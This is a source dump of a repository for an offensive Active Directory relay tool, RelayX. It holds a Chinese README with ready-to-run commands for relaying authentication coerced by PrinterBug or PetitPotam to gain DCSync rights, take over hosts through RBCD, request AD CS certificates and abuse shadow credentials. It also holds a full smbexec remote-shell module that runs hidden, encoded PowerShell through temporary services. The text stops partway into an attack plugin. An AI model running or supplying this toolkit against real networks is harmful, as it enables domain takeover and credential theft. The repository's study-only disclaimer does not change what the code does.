├── .gitignore ├── README.md ├── comm ├── __init__.py ├── execute │ ├── __init__.py │ └── smbexec.py ├── logger.py ├── ntlmrelayx │ ├── __init__.py │ ├── attacks │ │ ├── __init__.py │ │ ├── httpattack.py │ │ ├── ldapattack.py │ │ └── shadowCredential.py │ ├── servers │ │ ├── __init__.py │ │ └── smbrelayserver.py │ └── utils │ │ ├── __init__.py │ │ └── config.py ├── ticket │ ├── __init__.py │ ├── getST.py │ └── gettgtpkinit.py └── trigger │ ├── __init__.py │ ├── efs.py │ └── printer.py ├── config.py ├── relayx.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | 134 | # pytype static type analyzer 135 | .pytype/ 136 | 137 | # Cython debug symbols 138 | cython_debug/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Relayx 2 | ## 声明 3 | **一切开发旨在学习,请勿用于非法用途** 4 | 5 | ## Usage 6 | 将几个比较好用的relay集成到了一起,提高测试效率。 7 | ``` 8 | DCpwn with ntlmrelay 9 | 10 | positional arguments: 11 | target [[domain/]username[:password]@] or LOCAL (if you want to parse local files) 12 | 13 | options: 14 | -h, --help show this help message and exit 15 | -r CALLBACK_IP, --callback-ip CALLBACK_IP 16 | Attacker callback IP 17 | --timeout TIMEOUT timeout in seconds 18 | --debug Enable debug output 19 | -ts Adds timestamp to every logging output 20 | --no-trigger Start exploit server without trigger. 21 | --no-attack Start trigger for test. 22 | --smb-port SMB_PORT Port to listen on smb server 23 | -rpc-smb-port [destination port] 24 | Destination port to connect to SMB Server 25 | 26 | authentication: 27 | -hashes LMHASH:NTHASH 28 | Hash for account auth (instead of password) 29 | 30 | connection: 31 | -dc-ip ip address IP address of the Domain Controller 32 | -adcs-ip ip address IP Address of the ADCS, if unspecified, dc ip will be used 33 | --ldap Use ldap. 34 | -target-ip ip address 35 | IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it 36 | 37 | attack: 38 | -m {rbcd,pki,sdcd}, --method {rbcd,pki,sdcd} 39 | Set up attack method, rbcd or pki or sdcd (shadow credential) 40 | -t {printer,efs}, --trigger {printer,efs} 41 | Set up trigger method, printer or petitpotam 42 | --impersonate IMPERSONATE 43 | target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified 44 | --add-computer [COMPUTERNAME] 45 | Attempt to add a new computer account 46 | -pipe {efsr,lsarpc,samr,netlogon,lsass} 47 | Named pipe to use (default: lsarpc) 48 | --template TEMPLATE AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable. 49 | -pp PFX_PASS, --pfx-pass PFX_PASS 50 | PFX password. 51 | -ssl This is useful when AD CS use ssl. 52 | 53 | execute: 54 | -shell Launch semi-interactive shell, Default is False 55 | -share SHARE share where the output will be grabbed from (default ADMIN$) 56 | -shell-type {cmd,powershell} 57 | choose a command processor for the semi-interactive shell 58 | -codec CODEC Sets encoding used (codec) from the target's output (default "GBK"). 59 | -service-name service_name 60 | The name of theservice used to trigger the payload 61 | -mode {SHARE,SERVER} mode to use (default SHARE, SERVER needs root!) 62 | ``` 63 | ## 认证触发 64 | 工具中包含了两种触发机器回连的操作。 65 | printerbug 和 PetitPotam。 触发可通过指定参数来实现,默认使用printerbug 66 | ``` 67 | -t printer # 使用 打印机bug 触发 68 | -t efs # 使用 MS-EFSRPC 触发 69 | ``` 70 | 71 | 如果不需要工具主动去触发回连,可以添加参数`--no-trigger`,这样就可以通过其他方式来进行触发,同样的,可以添加参数`--no-attack`来指定只触发回连。 72 | 73 | ## 攻击场景 74 | 目前支持三种攻击方式 75 | ``` 76 | -m rbcd # 普通域成员RBCD,高权限,添加Dcsync权限 77 | -m pki # 向AD CS申请证书 78 | -m sdcd # 通过ldap添加 msDS-KeyCredentialLink 属性进行攻击,需要 Server >= 2016 79 | ``` 80 | ### 一、攻击Exchange服务器 81 | 默认Exchange的服务权限较高,所以工具会利用Exchange的权限将当前用户增加Dcsync权限。 82 | ``` 83 | python relayx.py cgdomain.com/sanfeng:'1qaz@WSX'@10.211.55.201 -r 10.211.55.2 -dc-ip 10.211.55.200 84 | ``` 85 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728171035.png) 86 | 87 | >目标的方式可以使用impacket的方式来写,@后跟目标即可,-r 是回连IP,也就是我们的攻击IP,-dc-ip 指定要去认证或者请求的DC ip, 后面一样,就不再重复。 88 | 89 | 攻击之后,当前用户可进行dcsync: 90 | ``` 91 | secretsdump.py cgdomain.com/sanfeng:'1qaz@WSX'@10.211.55.200 -just-dc-user cgdomain\\exchange$ 92 | ``` 93 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728171339.png) 94 | 95 | 使用aclpwn可进行还原(这里需要exchange服务器的机器账号hash): 96 | ``` 97 | aclpwn -r aclpwn-xxxxx-xxxxx.restore 98 | ``` 99 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728171452.png) 100 | 101 | 102 | ### 二、攻击域成员机器 103 | 攻击普通服务器会自动使用RBCD(基于资源的约束委派)来攻击,所以这里需要域级别>= Server2012R2。 104 | ``` 105 | python relayx.py cgdomain.com/sanfeng:'1qaz@WSX'@10.211.55.202 -r 10.211.55.2 -dc-ip 10.211.55.203 -shell 106 | ``` 107 | 108 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728172026.png) 109 | 110 | 攻击成功后,会自动获取一个交互式shell,并会生成一个ccache文件供以后使用,这里默认会模拟`administrator`的身份,如果不存在administrator,可通过`--impersonate` 来指定目标用户,如果未添加`-shell`参数,只保存请求到的票据。 111 | 112 | >这里默认会添加一个新的计算机账号,可通过--add-computer 来指定机器名,不指定则为随机名。 113 | 114 | ### 三、攻击AD CS 115 | 这里要求目标环境安装了`AD CS`。攻击AD CS 可以通过`-m pki` 来指定。 116 | ``` 117 | python relayx.py cgdomain.com/sanfeng:'1qaz@WSX'@10.211.55.202 -r 10.211.55.2 -dc-ip 10.211.55.200 -m pki 118 | ``` 119 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728173221.png) 120 | 121 | 这里会向CS申请一个机器账号的证书,之后通过Rubues进行后续攻击即可。 122 | 123 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210728173445.png) 124 | 125 | 126 | ### 四、利用msDS-KeyCredentialLink 127 | 类似于RBCD,优点是不需要添加计算机账号,缺点是需要Server版本高于2016, 可通过`-m sdcd` 来指定。 128 | ``` 129 | python relayx.py cgdomain.com/sanfeng:'1qaz@WSX'@10.211.55.202 -r 10.211.55.2 -dc-ip 10.211.55.200 -m sdcd 130 | ``` 131 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20210803105506.png) 132 | 133 | >本地没2016环境。所以会报个错。 134 | 135 | 后续可通过Rubues进行后续攻击。 136 | 137 | ## 编译 138 | 可以使用以下命令进行编译 139 | ``` 140 | pyinstaller -F -c relayx.py --collect-all impacket --add-data 'comm/ntlmrelayx/attacks/*:comm/ntlmrelayx/attacks' 141 | ``` -------------------------------------------------------------------------------- /comm/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ridter/RelayX/de3cb3b48d70781628d69726c8c7c551705b19d6/comm/__init__.py -------------------------------------------------------------------------------- /comm/execute/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ridter/RelayX/de3cb3b48d70781628d69726c8c7c551705b19d6/comm/execute/__init__.py -------------------------------------------------------------------------------- /comm/execute/smbexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # A similar approach to psexec w/o using RemComSvc. The technique is described here 12 | # https://www.optiv.com/blog/owning-computers-without-shell-access 13 | # Our implementation goes one step further, instantiating a local smbserver to receive the 14 | # output of the commands. This is useful in the situation where the target machine does NOT 15 | # have a writeable share available. 16 | # Keep in mind that, although this technique might help avoiding AVs, there are a lot of 17 | # event logs generated and you can't expect executing tasks that will last long since Windows 18 | # will kill the process since it's not responding as a Windows service. 19 | # Certainly not a stealthy way. 20 | # 21 | # This script works in two ways: 22 | # 1) share mode: you specify a share, and everything is done through that share. 23 | # 2) server mode: if for any reason there's no share available, this script will launch a local 24 | # SMB server, so the output of the commands executed are sent back by the target machine 25 | # into a locally shared folder. Keep in mind you would need root access to bind to port 445 26 | # in the local machine. 27 | # 28 | # Author: 29 | # beto (@agsolino) 30 | # 31 | # Reference for: 32 | # DCE/RPC and SMB. 33 | # 34 | 35 | from __future__ import division 36 | from __future__ import print_function 37 | import sys 38 | import os 39 | import cmd 40 | import argparse 41 | try: 42 | import ConfigParser 43 | except ImportError: 44 | import configparser as ConfigParser 45 | import logging 46 | from threading import Thread 47 | from base64 import b64encode 48 | 49 | from impacket.examples import logger 50 | from impacket.examples.utils import parse_target 51 | from impacket import version, smbserver 52 | from impacket.dcerpc.v5 import transport, scmr 53 | from impacket.krb5.keytab import Keytab 54 | 55 | OUTPUT_FILENAME = '__output' 56 | BATCH_FILENAME = 'execute.bat' 57 | SMBSERVER_DIR = '__tmp' 58 | DUMMY_SHARE = 'TMP' 59 | SERVICE_NAME = 'BTOBTO' 60 | CODEC = sys.stdout.encoding 61 | 62 | class SMBServer(Thread): 63 | def __init__(self): 64 | Thread.__init__(self) 65 | self.smb = None 66 | 67 | def cleanup_server(self): 68 | logging.info('Cleaning up..') 69 | try: 70 | os.unlink(SMBSERVER_DIR + '/smb.log') 71 | except OSError: 72 | pass 73 | os.rmdir(SMBSERVER_DIR) 74 | 75 | def run(self): 76 | # Here we write a mini config for the server 77 | smbConfig = ConfigParser.ConfigParser() 78 | smbConfig.add_section('global') 79 | smbConfig.set('global','server_name','server_name') 80 | smbConfig.set('global','server_os','UNIX') 81 | smbConfig.set('global','server_domain','WORKGROUP') 82 | smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') 83 | smbConfig.set('global','credentials_file','') 84 | 85 | # Let's add a dummy share 86 | smbConfig.add_section(DUMMY_SHARE) 87 | smbConfig.set(DUMMY_SHARE,'comment','') 88 | smbConfig.set(DUMMY_SHARE,'read only','no') 89 | smbConfig.set(DUMMY_SHARE,'share type','0') 90 | smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) 91 | 92 | # IPC always needed 93 | smbConfig.add_section('IPC$') 94 | smbConfig.set('IPC$','comment','') 95 | smbConfig.set('IPC$','read only','yes') 96 | smbConfig.set('IPC$','share type','3') 97 | smbConfig.set('IPC$','path') 98 | 99 | self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) 100 | logging.info('Creating tmp directory') 101 | try: 102 | os.mkdir(SMBSERVER_DIR) 103 | except Exception as e: 104 | logging.critical(str(e)) 105 | pass 106 | logging.info('Setting up SMB Server') 107 | self.smb.processConfigFile() 108 | logging.info('Ready to listen...') 109 | try: 110 | self.smb.serve_forever() 111 | except: 112 | pass 113 | 114 | def stop(self): 115 | self.cleanup_server() 116 | self.smb.socket.close() 117 | self.smb.server_close() 118 | self._Thread__stop() 119 | 120 | class CMDEXEC: 121 | def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, 122 | kdcHost=None, mode=None, share=None, port=445, serviceName=SERVICE_NAME, shell_type=None,codec="utf-8"): 123 | 124 | self.__username = username 125 | self.__password = password 126 | self.__port = port 127 | self.__serviceName = serviceName 128 | self.__domain = domain 129 | self.__lmhash = '' 130 | self.__nthash = '' 131 | self.__aesKey = aesKey 132 | self.__doKerberos = doKerberos 133 | self.__kdcHost = kdcHost 134 | self.__share = share 135 | self.__mode = mode 136 | self.__shell_type = shell_type 137 | self.shell = None 138 | self.codec = codec 139 | if hashes is not None: 140 | self.__lmhash, self.__nthash = hashes.split(':') 141 | 142 | def run(self, remoteName, remoteHost): 143 | stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName 144 | logging.debug('StringBinding %s'%stringbinding) 145 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 146 | rpctransport.set_dport(self.__port) 147 | rpctransport.setRemoteHost(remoteHost) 148 | if hasattr(rpctransport, 'set_credentials'): 149 | # This method exists only for selected protocol sequences. 150 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 151 | self.__nthash, self.__aesKey) 152 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 153 | 154 | self.shell = None 155 | try: 156 | if self.__mode == 'SERVER': 157 | serverThread = SMBServer() 158 | serverThread.daemon = True 159 | serverThread.start() 160 | self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type, self.codec) 161 | self.shell.cmdloop() 162 | if self.__mode == 'SERVER': 163 | serverThread.stop() 164 | except (Exception, KeyboardInterrupt) as e: 165 | if logging.getLogger().level == logging.DEBUG: 166 | import traceback 167 | traceback.print_exc() 168 | logging.critical(str(e)) 169 | if self.shell is not None: 170 | self.shell.finish() 171 | sys.stdout.flush() 172 | sys.exit(1) 173 | 174 | class RemoteShell(cmd.Cmd): 175 | def __init__(self, share, rpc, mode, serviceName, shell_type, codec): 176 | cmd.Cmd.__init__(self) 177 | self.__share = share 178 | self.__mode = mode 179 | self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME 180 | self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 181 | self.__outputBuffer = b'' 182 | self.__command = '' 183 | self.__shell = '%COMSPEC% /Q /c ' 184 | self.__shell_type = shell_type 185 | self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' 186 | self.__serviceName = serviceName 187 | self.__rpc = rpc 188 | self.codec = codec 189 | self.intro = '[!] Launching semi-interactive shell - Careful what you execute' 190 | 191 | self.__scmr = rpc.get_dce_rpc() 192 | try: 193 | self.__scmr.connect() 194 | except Exception as e: 195 | logging.critical(str(e)) 196 | sys.exit(1) 197 | 198 | s = rpc.get_smb_connection() 199 | 200 | # We don't wanna deal with timeouts from now on. 201 | s.setTimeout(100000) 202 | if mode == 'SERVER': 203 | myIPaddr = s.getSMBServer().get_socket().getsockname()[0] 204 | self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) 205 | 206 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 207 | resp = scmr.hROpenSCManagerW(self.__scmr) 208 | self.__scHandle = resp['lpScHandle'] 209 | self.transferClient = rpc.get_smb_connection() 210 | self.do_cd('') 211 | 212 | def finish(self): 213 | # Just in case the service is still created 214 | try: 215 | self.__scmr = self.__rpc.get_dce_rpc() 216 | self.__scmr.connect() 217 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 218 | resp = scmr.hROpenSCManagerW(self.__scmr) 219 | self.__scHandle = resp['lpScHandle'] 220 | resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) 221 | service = resp['lpServiceHandle'] 222 | scmr.hRDeleteService(self.__scmr, service) 223 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 224 | scmr.hRCloseServiceHandle(self.__scmr, service) 225 | except scmr.DCERPCException: 226 | pass 227 | 228 | def do_shell(self, s): 229 | os.system(s) 230 | 231 | def do_exit(self, s): 232 | return True 233 | 234 | def do_EOF(self, s): 235 | print() 236 | return self.do_exit(s) 237 | 238 | def emptyline(self): 239 | return False 240 | 241 | def do_cd(self, s): 242 | # We just can't CD or maintain track of the target dir. 243 | if len(s) > 0: 244 | logging.error("You can't CD under SMBEXEC. Use full paths.") 245 | 246 | self.execute_remote('cd ' ) 247 | if len(self.__outputBuffer) > 0: 248 | # Stripping CR/LF 249 | self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' 250 | if self.__shell_type == 'powershell': 251 | self.prompt = 'PS ' + self.prompt + ' ' 252 | self.__outputBuffer = b'' 253 | 254 | def do_CD(self, s): 255 | return self.do_cd(s) 256 | 257 | def default(self, line): 258 | if line != '': 259 | self.send_data(line) 260 | 261 | def get_output(self): 262 | def output_callback(data): 263 | self.__outputBuffer += data 264 | 265 | if self.__mode == 'SHARE': 266 | self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) 267 | self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) 268 | else: 269 | fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') 270 | output_callback(fd.read()) 271 | fd.close() 272 | os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) 273 | 274 | def execute_remote(self, data, shell_type='cmd'): 275 | if shell_type == 'powershell': 276 | data = '$ProgressPreference="SilentlyContinue";' + data 277 | data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() 278 | 279 | command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ 280 | self.__shell + self.__batchFile 281 | 282 | if self.__mode == 'SERVER': 283 | command += ' & ' + self.__copyBack 284 | command += ' & ' + 'del ' + self.__batchFile 285 | 286 | logging.debug('Executing %s' % command) 287 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, 288 | lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) 289 | service = resp['lpServiceHandle'] 290 | 291 | try: 292 | scmr.hRStartServiceW(self.__scmr, service) 293 | except: 294 | pass 295 | scmr.hRDeleteService(self.__scmr, service) 296 | scmr.hRCloseServiceHandle(self.__scmr, service) 297 | self.get_output() 298 | 299 | def send_data(self, data): 300 | self.execute_remote(data, self.__shell_type) 301 | try: 302 | print(self.__outputBuffer.decode(self.codec)) 303 | except UnicodeDecodeError: 304 | logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 305 | 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' 306 | 'again with -codec and the corresponding codec') 307 | print(self.__outputBuffer.decode(self.codec, errors='replace')) 308 | self.__outputBuffer = b'' 309 | 310 | 311 | # Process command-line arguments. 312 | if __name__ == '__main__': 313 | print(version.BANNER) 314 | 315 | parser = argparse.ArgumentParser() 316 | 317 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 318 | parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' 319 | '(default C$)') 320 | parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', 321 | help='mode to use (default SHARE, SERVER needs root!)') 322 | parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') 323 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 324 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 325 | '"%s"). If errors are detected, run chcp.com at the target, ' 326 | 'map the result with ' 327 | 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' 328 | 'again with -codec and the corresponding codec ' % CODEC) 329 | parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' 330 | 'a command processor for the semi-interactive shell') 331 | 332 | group = parser.add_argument_group('connection') 333 | 334 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 335 | 'If omitted it will use the domain part (FQDN) specified in the target parameter') 336 | group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 337 | 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 338 | 'name and you cannot resolve it') 339 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 340 | help='Destination port to connect to SMB Server') 341 | group.add_argument('-service-name', action='store', metavar="service_name", default = SERVICE_NAME, help='The name of the' 342 | 'service used to trigger the payload') 343 | 344 | group = parser.add_argument_group('authentication') 345 | 346 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 347 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 348 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 349 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 350 | 'ones specified in the command line') 351 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 352 | '(128 or 256 bits)') 353 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') 354 | 355 | 356 | if len(sys.argv)==1: 357 | parser.print_help() 358 | sys.exit(1) 359 | 360 | options = parser.parse_args() 361 | 362 | # Init the example's logger theme 363 | logger.init(options.ts) 364 | 365 | if options.codec is not None: 366 | CODEC = options.codec 367 | else: 368 | if CODEC is None: 369 | CODEC = 'utf-8' 370 | 371 | if options.debug is True: 372 | logging.getLogger().setLevel(logging.DEBUG) 373 | # Print the Library's installation path 374 | logging.debug(version.getInstallationPath()) 375 | else: 376 | logging.getLogger().setLevel(logging.INFO) 377 | 378 | domain, username, password, remoteName = parse_target(options.target) 379 | 380 | if domain is None: 381 | domain = '' 382 | 383 | if options.keytab is not None: 384 | Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) 385 | options.k = True 386 | 387 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 388 | from getpass import getpass 389 | password = getpass("Password:") 390 | 391 | if options.target_ip is None: 392 | options.target_ip = remoteName 393 | 394 | if options.aesKey is not None: 395 | options.k = True 396 | 397 | try: 398 | executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, 399 | options.mode, options.share, int(options.port), options.service_name, options.shell_type,options.codec) 400 | executer.run(remoteName, options.target_ip) 401 | except Exception as e: 402 | if logging.getLogger().level == logging.DEBUG: 403 | import traceback 404 | traceback.print_exc() 405 | logging.critical(str(e)) 406 | sys.exit(0) 407 | -------------------------------------------------------------------------------- /comm/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | import logging 4 | import sys 5 | class ImpacketFormatter(logging.Formatter): 6 | def __init__(self): 7 | logging.Formatter.__init__(self, '%(bullet)s %(message)s \033[0m', None) 8 | 9 | def format(self, record): 10 | if record.levelno == logging.INFO: 11 | record.bullet = '\033[90m[*]' 12 | elif record.levelno == logging.CRITICAL: 13 | record.bullet = '\033[92m[+]\033[0m' 14 | elif record.levelno == logging.WARNING: 15 | record.bullet = '\033[1;31;m[!]' 16 | elif record.levelno == logging.DEBUG: 17 | record.bullet = "[*]" 18 | else: 19 | record.bullet = '\033[1;31;m[-]' 20 | return logging.Formatter.format(self, record) 21 | 22 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 23 | ''' 24 | Prefixing logged messages through the custom attribute 'bullet'. 25 | ''' 26 | def __init__(self): 27 | logging.Formatter.__init__(self,'%(bullet)s [%(asctime)-15s] %(message)s', None) 28 | 29 | def formatTime(self, record, datefmt=None): 30 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 31 | 32 | 33 | def init(ts=False): 34 | # We add a StreamHandler and formatter to the root logger 35 | handler = logging.StreamHandler(sys.stdout) 36 | if not ts: 37 | handler.setFormatter(ImpacketFormatter()) 38 | else: 39 | handler.setFormatter(ImpacketFormatterTimeStamp()) 40 | logging.getLogger().addHandler(handler) 41 | logging.getLogger().setLevel(logging.INFO) 42 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Attack Base Class definition 11 | # Defines a base class for all attacks + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import os, sys 18 | import pkg_resources 19 | from impacket import LOG 20 | from threading import Thread 21 | 22 | PROTOCOL_ATTACKS = {} 23 | if getattr(sys, 'frozen', False): 24 | # 如果是打包的可执行文件,修改资源目录路径 25 | base_path = os.path.join(sys._MEIPASS, 'comm', 'ntlmrelayx', 'attacks') 26 | else: 27 | # 否则,使用默认的资源目录路径 28 | base_path = os.path.join('comm', 'ntlmrelayx', 'attacks') 29 | 30 | for file in os.listdir(base_path): 31 | if file.find('__') >= 0 or file.endswith('.py') is False: 32 | continue 33 | # This seems to be None in some case (py3 only) 34 | # __spec__ is py3 only though, but I haven't seen this being None on py2 35 | # so it should cover all cases. 36 | try: 37 | package = __spec__.name # Python 3 38 | except NameError: 39 | package = __package__ # Python 2 40 | __import__(package + '.' + os.path.splitext(file)[0]) 41 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 42 | try: 43 | pluginClasses = set() 44 | try: 45 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 46 | # Multiple classes 47 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 48 | pluginClasses.add(getattr(module, pluginClass)) 49 | else: 50 | # Single class 51 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 52 | except Exception as e: 53 | LOG.debug(e) 54 | pass 55 | 56 | for pluginClass in pluginClasses: 57 | for pluginName in pluginClass.PLUGIN_NAMES: 58 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 59 | PROTOCOL_ATTACKS[pluginName] = pluginClass 60 | except Exception as e: 61 | LOG.debug(str(e)) 62 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # Ex Android Dev (@ExAndroidDev) 13 | # 14 | # Description: 15 | # HTTP protocol relay attack 16 | # 17 | # ToDo: 18 | # 19 | import re 20 | import base64 21 | import logging 22 | import config 23 | import sys 24 | from OpenSSL import crypto 25 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 26 | 27 | 28 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 29 | 30 | class 